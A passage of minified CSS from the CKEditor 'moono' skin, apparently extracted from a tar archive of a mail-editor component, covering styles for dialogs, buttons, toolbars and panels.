bottom,color-stop(0%,#ebebeb),color-stop(100%,#dfdfdf));background:-webkit-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-o-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:-ms-linear-gradient(top,#ebebeb 0,#dfdfdf 100%);background:linear-gradient(to bottom,#ebebeb 0,#dfdfdf 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ebebeb',endColorstr='#dfdfdf',GradientType=0)}a.cke_dialog_tab_selected{background:#fff;color:#383838;border-bottom-color:#fff;cursor:default;filter:none}a.cke_dialog_tab_selected:hover{background:#ededed;background:-moz-linear-gradient(top,#ededed 0,#fff 100%);background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#ededed),color-stop(100%,#fff));background:-webkit-linear-gradient(top,#ededed 0,#fff 100%);background:-o-linear-gradient(top,#ededed 0,#fff 100%);background:-ms-linear-gradient(top,#ededed 0,#fff 100%);background:linear-gradient(to bottom,#ededed 0,#fff 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#ededed',endColorstr='#ffffff',GradientType=0)}.cke_hc a.cke_dialog_tab:hover,.cke_hc a.cke_dialog_tab_selected{border:3px solid;padding:2px 6px}a.cke_dialog_tab_disabled{color:#bababa;cursor:default}.cke_single_page .cke_dialog_tabs{display:none}.cke_single_page .cke_dialog_contents{padding-top:5px;margin-top:0;border-top:0}.cke_dialog_close_button{background-image:url(images/close.png);background-repeat:no-repeat;background-position:50%;position:absolute;cursor:pointer;text-align:center;height:20px;width:20px;top:5px;z-index:5;opacity:.8;filter:alpha(opacity = 80)}.cke_dialog_close_button:hover{opacity:1;filter:alpha(opacity = 100)}.cke_hidpi .cke_dialog_close_button{background-image:url(images/hidpi/close.png);background-size:16px}.cke_dialog_close_button span{display:none}.cke_hc .cke_dialog_close_button span{display:inline;cursor:pointer;font-weight:bold;position:relative;top:3px}.cke_ltr .cke_dialog_close_button{right:5px}.cke_rtl .cke_dialog_close_button{left:6px}.cke_dialog_close_button{top:4px}div.cke_disabled .cke_dialog_ui_labeled_content div *{background-color:#ddd;cursor:default}.cke_dialog_ui_vbox table,.cke_dialog_ui_hbox table{margin:auto}.cke_dialog_ui_vbox_child{padding:5px 0}.cke_dialog_ui_hbox{width:100%}.cke_dialog_ui_hbox_first,.cke_dialog_ui_hbox_child,.cke_dialog_ui_hbox_last{vertical-align:top}.cke_ltr .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_ui_hbox_child{padding-right:10px}.cke_rtl .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_ui_hbox_child{padding-left:10px}.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_ltr .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-right:5px}.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_first,.cke_rtl .cke_dialog_footer_buttons .cke_dialog_ui_hbox_child{padding-left:5px;padding-right:0}.cke_hc div.cke_dialog_ui_input_text,.cke_hc div.cke_dialog_ui_input_password,.cke_hc div.cke_dialog_ui_input_textarea,.cke_hc div.cke_dialog_ui_input_select,.cke_hc div.cke_dialog_ui_input_file{border:1px solid}textarea.cke_dialog_ui_input_textarea{overflow:auto;resize:none}input.cke_dialog_ui_input_text,input.cke_dialog_ui_input_password,textarea.cke_dialog_ui_input_textarea{background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:4px 6px;outline:0;width:100%;*width:95%;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}input.cke_dialog_ui_input_text:hover,input.cke_dialog_ui_input_password:hover,textarea.cke_dialog_ui_input_textarea:hover{border:1px solid #aeb3b9;border-top-color:#a0a6ad}input.cke_dialog_ui_input_text:focus,input.cke_dialog_ui_input_password:focus,textarea.cke_dialog_ui_input_textarea:focus,select.cke_dialog_ui_input_select:focus{outline:0;border:1px solid #139ff7;border-top-color:#1392e9}a.cke_dialog_ui_button{display:inline-block;*display:inline;*zoom:1;padding:4px 0;margin:0;text-align:center;color:#333;vertical-align:middle;cursor:pointer;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}span.cke_dialog_ui_button{padding:0 10px}a.cke_dialog_ui_button:hover{border-color:#9e9e9e;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}a.cke_dialog_ui_button:focus,a.cke_dialog_ui_button:active{border-color:#969696;outline:0;-moz-box-shadow:0 0 6px rgba(0,0,0,.4) inset;-webkit-box-shadow:0 0 6px rgba(0,0,0,.4) inset;box-shadow:0 0 6px rgba(0,0,0,.4) inset}.cke_hc a.cke_dialog_ui_button:hover,.cke_hc a.cke_dialog_ui_button:focus,.cke_hc a.cke_dialog_ui_button:active{border:3px solid;padding-top:1px;padding-bottom:1px}.cke_hc a.cke_dialog_ui_button:hover span,.cke_hc a.cke_dialog_ui_button:focus span,.cke_hc a.cke_dialog_ui_button:active span{padding-left:10px;padding-right:10px}.cke_dialog_footer_buttons a.cke_dialog_ui_button span{color:inherit;font-size:12px;font-weight:bold;line-height:18px;padding:0 12px}a.cke_dialog_ui_button_ok{color:#fff;text-shadow:0 -1px 0 #55830c;border-color:#62a60a #62a60a #4d9200;background:#69b10b;background-image:-webkit-gradient(linear,0 0,0 100%,from(#9ad717),to(#69b10b));background-image:-webkit-linear-gradient(top,#9ad717,#69b10b);background-image:-o-linear-gradient(top,#9ad717,#69b10b);background-image:linear-gradient(to bottom,#9ad717,#69b10b);background-image:-moz-linear-gradient(top,#9ad717,#69b10b);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#9ad717',endColorstr='#69b10b')}a.cke_dialog_ui_button_ok:hover{border-color:#5b9909 #5b9909 #478500;background:#88be14;background:-webkit-gradient(linear,left top,left bottom,color-stop(0%,#88be14),color-stop(100%,#5d9c0a));background:-webkit-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:-o-linear-gradient(top,#88be14 0,#5d9c0a 100%);background:linear-gradient(to bottom,#88be14 0,#5d9c0a 100%);background:-moz-linear-gradient(top,#88be14 0,#5d9c0a 100%);filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='#88be14',endColorstr='#5d9c0a',GradientType=0)}a.cke_dialog_ui_button span{text-shadow:0 1px 0 #fff}a.cke_dialog_ui_button_ok span{text-shadow:0 -1px 0 #55830c}span.cke_dialog_ui_button{cursor:pointer}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active,a.cke_dialog_ui_button_cancel:focus,a.cke_dialog_ui_button_cancel:active{border-width:2px;padding:3px 0}a.cke_dialog_ui_button_ok:focus,a.cke_dialog_ui_button_ok:active{border-color:#568c0a}a.cke_dialog_ui_button_ok:focus span,a.cke_dialog_ui_button_ok:active span,a.cke_dialog_ui_button_cancel:focus span,a.cke_dialog_ui_button_cancel:active span{padding:0 11px}.cke_dialog_footer_buttons{display:inline-table;margin:5px;width:auto;position:relative;vertical-align:middle}div.cke_dialog_ui_input_select{display:table}select.cke_dialog_ui_input_select{height:25px;line-height:25px;background-color:#fff;border:1px solid #c9cccf;border-top-color:#aeb3b9;padding:3px 3px 3px 6px;outline:0;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;-webkit-box-shadow:0 1px 2px rgba(0,0,0,.15) inset;box-shadow:0 1px 2px rgba(0,0,0,.15) inset}.cke_dialog_ui_input_file{width:100%;height:25px}.cke_hc .cke_dialog_ui_labeled_content input:focus,.cke_hc .cke_dialog_ui_labeled_content select:focus,.cke_hc .cke_dialog_ui_labeled_content textarea:focus{outline:1px dotted}.cke_dialog .cke_dark_background{background-color:#dedede}.cke_dialog .cke_light_background{background-color:#ebebeb}.cke_dialog .cke_centered{text-align:center}.cke_dialog a.cke_btn_reset{float:right;background:url(images/refresh.png) top left no-repeat;width:16px;height:16px;border:1px none;font-size:1px}.cke_hidpi .cke_dialog a.cke_btn_reset{background-size:16px;background-image:url(images/hidpi/refresh.png)}.cke_rtl .cke_dialog a.cke_btn_reset{float:left}.cke_dialog a.cke_btn_locked,.cke_dialog a.cke_btn_unlocked{float:left;width:16px;height:16px;background-repeat:no-repeat;border:none 1px;font-size:1px}.cke_dialog a.cke_btn_locked .cke_icon{display:none}.cke_rtl .cke_dialog a.cke_btn_locked,.cke_rtl .cke_dialog a.cke_btn_unlocked{float:right}.cke_dialog a.cke_btn_locked{background-image:url(images/lock.png)}.cke_dialog a.cke_btn_unlocked{background-image:url(images/lock-open.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked,.cke_hidpi .cke_dialog a.cke_btn_locked{background-size:16px}.cke_hidpi .cke_dialog a.cke_btn_locked{background-image:url(images/hidpi/lock.png)}.cke_hidpi .cke_dialog a.cke_btn_unlocked{background-image:url(images/hidpi/lock-open.png)}.cke_dialog .cke_btn_over{border:outset 1px;cursor:pointer}.cke_dialog .ImagePreviewBox{border:2px ridge black;overflow:scroll;height:200px;width:300px;padding:2px;background-color:white}.cke_dialog .ImagePreviewBox table td{white-space:normal}.cke_dialog .ImagePreviewLoader{position:absolute;white-space:normal;overflow:hidden;height:160px;width:230px;margin:2px;padding:2px;opacity:.9;filter:alpha(opacity = 90);background-color:#e4e4e4}.cke_dialog .FlashPreviewBox{white-space:normal;border:2px ridge black;overflow:auto;height:160px;width:390px;padding:2px;background-color:white}.cke_dialog .cke_pastetext{width:346px;height:170px}.cke_dialog .cke_pastetext textarea{width:340px;height:170px;resize:none}.cke_dialog iframe.cke_pasteframe{width:346px;height:130px;background-color:white;border:1px solid #aeb3b9;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px}.cke_dialog .cke_hand{cursor:pointer}.cke_disabled{color:#a0a0a0}.cke_dialog_body .cke_label{display:none}.cke_dialog_body label{display:inline;margin-bottom:auto;cursor:default}.cke_dialog_body label.cke_required{font-weight:bold}a.cke_smile{overflow:hidden;display:block;text-align:center;padding:.3em 0}a.cke_smile img{vertical-align:middle}a.cke_specialchar{cursor:inherit;display:block;height:1.25em;padding:.2em .3em;text-align:center}a.cke_smile,a.cke_specialchar{border:1px solid transparent}a.cke_smile:hover,a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:hover,a.cke_specialchar:focus,a.cke_specialchar:active{background:#fff;outline:0}a.cke_smile:hover,a.cke_specialchar:hover{border-color:#888}a.cke_smile:focus,a.cke_smile:active,a.cke_specialchar:focus,a.cke_specialchar:active{border-color:#139ff7}.cke_dialog_contents a.colorChooser{display:block;margin-top:6px;margin-left:10px;width:80px}.cke_rtl .cke_dialog_contents a.colorChooser{margin-right:10px}.cke_dialog_ui_checkbox_input:focus,.cke_dialog_ui_radio_input:focus,.cke_btn_over{outline:1px dotted #696969}.cke_iframe_shim{display:block;position:absolute;top:0;left:0;z-index:-1;filter:alpha(opacity = 0);width:100%;height:100%}                                                                                                                                                                                                                                                                                                                                                                                                                                                                  editors/acyeditor/acyeditor/ckeditor/skins/moono/editor_ie7.css                                     0000705                 00000115136 15242051521 0021013 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /*
Copyright (c) 2003-2015, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or http://ckeditor.com/license
*/
.cke_reset{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none}.cke_reset_all,.cke_reset_all *{margin:0;padding:0;border:0;background:transparent;text-decoration:none;width:auto;height:auto;vertical-align:baseline;box-sizing:content-box;-moz-box-sizing:content-box;-webkit-box-sizing:content-box;position:static;-webkit-transition:none;-moz-transition:none;-ms-transition:none;transition:none;border-collapse:collapse;font:normal normal normal 12px Arial,Helvetica,Tahoma,Verdana,Sans-Serif;color:#000;text-align:left;white-space:nowrap;cursor:auto;float:none}.cke_reset_all .cke_rtl *{text-align:right}.cke_reset_all iframe{vertical-align:inherit}.cke_reset_all textarea{white-space:pre}.cke_reset_all textarea,.cke_reset_all input[type="text"],.cke_reset_all input[type="password"]{cursor:text}.cke_reset_all textarea[disabled],.cke_reset_all input[type="text"][disabled],.cke_reset_all input[type="password"][disabled]{cursor:default}.cke_reset_all fieldset{padding:10px;border:2px groove #e0dfe3}.cke_reset_all select{box-sizing:border-box;-moz-box-sizing:border-box;-webkit-box-sizing:border-box}.cke_reset_all table{table-layout:auto}.cke_chrome{display:block;border:1px solid #b6b6b6;padding:0;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_inner{display:block;-webkit-touch-callout:none;background:#fff;padding:0}.cke_float{border:0}.cke_float .cke_inner{padding-bottom:0}.cke_top,.cke_contents,.cke_bottom{display:block;overflow:hidden}.cke_top{border-bottom:1px solid #b6b6b6;padding:6px 8px 2px;white-space:normal;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_float .cke_top{border:1px solid #b6b6b6;border-bottom-color:#999}.cke_bottom{padding:6px 8px 2px;position:relative;border-top:1px solid #bfbfbf;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#ebebeb),to(#cfd1cf));background-image:-moz-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-webkit-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-o-linear-gradient(top,#ebebeb,#cfd1cf);background-image:-ms-linear-gradient(top,#ebebeb,#cfd1cf);background-image:linear-gradient(top,#ebebeb,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ebebeb',endColorstr='#cfd1cf')}.cke_browser_ios .cke_contents{overflow-y:auto;-webkit-overflow-scrolling:touch}.cke_resizer{width:0;height:0;overflow:hidden;width:0;height:0;overflow:hidden;border-width:10px 10px 0 0;border-color:transparent #666 transparent transparent;border-style:dashed solid dashed dashed;font-size:0;vertical-align:bottom;margin-top:6px;margin-bottom:2px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.3);-webkit-box-shadow:0 1px 0 rgba(255,255,255,.3);box-shadow:0 1px 0 rgba(255,255,255,.3)}.cke_hc .cke_resizer{font-size:15px;width:auto;height:auto;border-width:0}.cke_resizer_ltr{cursor:se-resize;float:right;margin-right:-4px}.cke_resizer_rtl{border-width:10px 0 0 10px;border-color:transparent transparent transparent #a5a5a5;border-style:dashed dashed dashed solid;cursor:sw-resize;float:left;margin-left:-4px;right:auto}.cke_wysiwyg_div{display:block;height:100%;overflow:auto;padding:0 8px;outline-style:none;-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.cke_panel{visibility:visible;width:120px;height:100px;overflow:hidden;background-color:#fff;border:1px solid #b6b6b6;border-bottom-color:#999;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 0 3px rgba(0,0,0,.15);-webkit-box-shadow:0 0 3px rgba(0,0,0,.15);box-shadow:0 0 3px rgba(0,0,0,.15)}.cke_menu_panel{padding:0;margin:0}.cke_combopanel{width:150px;height:170px}.cke_panel_frame{width:100%;height:100%;font-size:12px;overflow:auto;overflow-x:hidden}.cke_panel_container{overflow-y:auto;overflow-x:hidden}.cke_panel_list{list-style-type:none;margin:3px;padding:0;white-space:nowrap}.cke_panel_listItem{margin:0;padding-bottom:1px}.cke_panel_listItem a{padding:3px 4px;display:block;border:1px solid #fff;color:inherit!important;text-decoration:none;overflow:hidden;text-overflow:ellipsis;-moz-border-radius:2px;-webkit-border-radius:2px;border-radius:2px}* html .cke_panel_listItem a{width:100%;color:#000}*:first-child+html .cke_panel_listItem a{color:#000}.cke_panel_listItem.cke_selected a{border:1px solid #dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_panel_listItem a:hover,.cke_panel_listItem a:focus,.cke_panel_listItem a:active{border-color:#dedede;background-color:#f2f2f2;-moz-box-shadow:0 0 2px rgba(0,0,0,.1) inset;-webkit-box-shadow:0 0 2px rgba(0,0,0,.1) inset;box-shadow:0 0 2px rgba(0,0,0,.1) inset}.cke_hc .cke_panel_listItem a{border-style:none}.cke_hc .cke_panel_listItem a:hover,.cke_hc .cke_panel_listItem a:focus,.cke_hc .cke_panel_listItem a:active{border:2px solid;padding:1px 2px}.cke_panel_grouptitle{cursor:default;font-size:11px;font-weight:bold;white-space:nowrap;margin:0;padding:4px 6px;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.75);border-bottom:1px solid #b6b6b6;-moz-border-radius:2px 2px 0 0;-webkit-border-radius:2px 2px 0 0;border-radius:2px 2px 0 0;-moz-box-shadow:0 1px 0 #fff inset;-webkit-box-shadow:0 1px 0 #fff inset;box-shadow:0 1px 0 #fff inset;background:#cfd1cf;background-image:-webkit-gradient(linear,left top,left bottom,from(#f5f5f5),to(#cfd1cf));background-image:-moz-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-webkit-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-o-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:-ms-linear-gradient(top,#f5f5f5,#cfd1cf);background-image:linear-gradient(top,#f5f5f5,#cfd1cf);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f5f5f5',endColorstr='#cfd1cf')}.cke_panel_listItem p,.cke_panel_listItem h1,.cke_panel_listItem h2,.cke_panel_listItem h3,.cke_panel_listItem h4,.cke_panel_listItem h5,.cke_panel_listItem h6,.cke_panel_listItem pre{margin-top:0;margin-bottom:0}.cke_colorblock{padding:3px;font-size:11px;font-family:'Microsoft Sans Serif',Tahoma,Arial,Verdana,Sans-Serif}.cke_colorblock,.cke_colorblock a{text-decoration:none;color:#000}span.cke_colorbox{width:10px;height:10px;border:#808080 1px solid;float:left}.cke_rtl span.cke_colorbox{float:right}a.cke_colorbox{border:#fff 1px solid;padding:2px;float:left;width:12px;height:12px}.cke_rtl a.cke_colorbox{float:right}a:hover.cke_colorbox,a:focus.cke_colorbox,a:active.cke_colorbox{border:#b6b6b6 1px solid;background-color:#e5e5e5}a.cke_colorauto,a.cke_colormore{border:#fff 1px solid;padding:2px;display:block;cursor:pointer}a:hover.cke_colorauto,a:hover.cke_colormore,a:focus.cke_colorauto,a:focus.cke_colormore,a:active.cke_colorauto,a:active.cke_colormore{border:#b6b6b6 1px solid;background-color:#e5e5e5}.cke_toolbar{float:left}.cke_rtl .cke_toolbar{float:right}.cke_toolgroup{float:left;margin:0 6px 5px 0;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_hc .cke_toolgroup{border:0;margin-right:10px;margin-bottom:10px}.cke_rtl .cke_toolgroup{float:right;margin-left:6px;margin-right:0}a.cke_button{display:inline-block;height:18px;padding:4px 6px;outline:0;cursor:default;float:left;border:0}.cke_ltr .cke_button:last-child,.cke_rtl .cke_button:first-child{-moz-border-radius:0 2px 2px 0;-webkit-border-radius:0 2px 2px 0;border-radius:0 2px 2px 0}.cke_ltr .cke_button:first-child,.cke_rtl .cke_button:last-child{-moz-border-radius:2px 0 0 2px;-webkit-border-radius:2px 0 0 2px;border-radius:2px 0 0 2px}.cke_rtl .cke_button{float:right}.cke_hc .cke_button{border:1px solid black;padding:3px 5px;margin:-2px 4px 0 -2px}.cke_button_on{-moz-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 5px rgba(0,0,0,.6) inset,0 1px 0 rgba(0,0,0,.2);background:#b5b5b5;background-image:-webkit-gradient(linear,left top,left bottom,from(#aaa),to(#cacaca));background-image:-moz-linear-gradient(top,#aaa,#cacaca);background-image:-webkit-linear-gradient(top,#aaa,#cacaca);background-image:-o-linear-gradient(top,#aaa,#cacaca);background-image:-ms-linear-gradient(top,#aaa,#cacaca);background-image:linear-gradient(top,#aaa,#cacaca);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#aaaaaa',endColorstr='#cacaca')}.cke_hc .cke_button_on,.cke_hc a.cke_button_off:hover,.cke_hc a.cke_button_off:focus,.cke_hc a.cke_button_off:active,.cke_hc a.cke_button_disabled:hover,.cke_hc a.cke_button_disabled:focus,.cke_hc a.cke_button_disabled:active{border-width:3px;padding:1px 3px}.cke_button_disabled .cke_button_icon{opacity:.3}.cke_hc .cke_button_disabled{opacity:.5}a.cke_button_on:hover,a.cke_button_on:focus,a.cke_button_on:active{-moz-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);-webkit-box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2);box-shadow:0 1px 6px rgba(0,0,0,.7) inset,0 1px 0 rgba(0,0,0,.2)}a.cke_button_off:hover,a.cke_button_off:focus,a.cke_button_off:active,a.cke_button_disabled:hover,a.cke_button_disabled:focus,a.cke_button_disabled:active{-moz-box-shadow:0 0 1px rgba(0,0,0,.3) inset;-webkit-box-shadow:0 0 1px rgba(0,0,0,.3) inset;box-shadow:0 0 1px rgba(0,0,0,.3) inset;background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_button_icon{cursor:inherit;background-repeat:no-repeat;margin-top:1px;width:16px;height:16px;float:left;display:inline-block}.cke_rtl .cke_button_icon{float:right}.cke_hc .cke_button_icon{display:none}.cke_button_label{display:none;padding-left:3px;margin-top:1px;line-height:17px;vertical-align:middle;float:left;cursor:default;color:#474747;text-shadow:0 1px 0 rgba(255,255,255,.5)}.cke_rtl .cke_button_label{padding-right:3px;padding-left:0;float:right}.cke_hc .cke_button_label{padding:0;display:inline-block;font-size:12px}.cke_button_arrow{display:inline-block;margin:8px 0 0 1px;width:0;height:0;cursor:default;vertical-align:top;border-left:3px solid transparent;border-right:3px solid transparent;border-top:3px solid #474747}.cke_rtl .cke_button_arrow{margin-right:5px;margin-left:0}.cke_hc .cke_button_arrow{font-size:10px;margin:3px -2px 0 3px;width:auto;border:0}.cke_toolbar_separator{float:left;background-color:#c0c0c0;background-color:rgba(0,0,0,.2);margin:5px 2px 0;height:18px;width:1px;-webkit-box-shadow:1px 0 1px rgba(255,255,255,.5);-moz-box-shadow:1px 0 1px rgba(255,255,255,.5);box-shadow:1px 0 1px rgba(255,255,255,.5)}.cke_rtl .cke_toolbar_separator{float:right;-webkit-box-shadow:-1px 0 1px rgba(255,255,255,.1);-moz-box-shadow:-1px 0 1px rgba(255,255,255,.1);box-shadow:-1px 0 1px rgba(255,255,255,.1)}.cke_hc .cke_toolbar_separator{width:0;border-left:1px solid;margin:1px 5px 0 0}.cke_toolbar_break{display:block;clear:left}.cke_rtl .cke_toolbar_break{clear:right}.cke_toolbox_collapser{width:12px;height:11px;float:right;margin:11px 0 0;font-size:0;cursor:default;text-align:center;border:1px solid #a6a6a6;border-bottom-color:#979797;-moz-border-radius:3px;-webkit-border-radius:3px;border-radius:3px;-moz-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;-webkit-box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;box-shadow:0 1px 0 rgba(255,255,255,.5),0 0 2px rgba(255,255,255,.15) inset,0 1px 0 rgba(255,255,255,.15) inset;background:#e4e4e4;background-image:-webkit-gradient(linear,left top,left bottom,from(#fff),to(#e4e4e4));background-image:-moz-linear-gradient(top,#fff,#e4e4e4);background-image:-webkit-linear-gradient(top,#fff,#e4e4e4);background-image:-o-linear-gradient(top,#fff,#e4e4e4);background-image:-ms-linear-gradient(top,#fff,#e4e4e4);background-image:linear-gradient(top,#fff,#e4e4e4);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#ffffff',endColorstr='#e4e4e4')}.cke_toolbox_collapser:hover{background:#ccc;background-image:-webkit-gradient(linear,left top,left bottom,from(#f2f2f2),to(#ccc));background-image:-moz-linear-gradient(top,#f2f2f2,#ccc);background-image:-webkit-linear-gradient(top,#f2f2f2,#ccc);background-image:-o-linear-gradient(top,#f2f2f2,#ccc);background-image:-ms-linear-gradient(top,#f2f2f2,#ccc);background-image:linear-gradient(top,#f2f2f2,#ccc);filter:progid:DXImageTransform.Microsoft.gradient(gradientType=0,startColorstr='#f2f2f2',endColorstr='#cccccc')}.cke_toolbox_collapser.cke_toolbox_collapser_min{margin:0 2px 4px}.cke_rtl .cke_toolbox_collapser{float:left}.cke_toolbox_collapser .cke_arrow{display:inline-block;height:0;width:0;font-size:0;margin-top:1px;border-left:3px solid transparent;border-right:3px solid transparent;border-bottom:3px solid #474747;border-top:3px solid transparent}.cke_toolbox_collapser.cke_toolbox_collapser_min .cke_arrow{margin-top:4px;border-bottom-color:transparent;border-top-color:#474747}.cke_hc .cke_toolbox_collapser .cke_arrow{font-size:8px;width:auto;border:0;margin-top:0;margin-right:2px}.cke_menubutton{display:block}.cke_menuitem span{cursor:default}.cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active{background-color:#d3d3d3;display:block}.cke_hc .cke_menubutton{padding:2px}.cke_hc .cke_menubutton:hover,.cke_hc .cke_menubutton:focus,.cke_hc .cke_menubutton:active{border:2px solid;padding:0}.cke_menubutton_inner{display:table-row}.cke_menubutton_icon,.cke_menubutton_label,.cke_menuarrow{display:table-cell}.cke_menubutton_icon{background-color:#d7d8d7;opacity:.70;filter:alpha(opacity=70);padding:4px}.cke_hc .cke_menubutton_icon{height:16px;width:0;padding:4px 0}.cke_menubutton:hover 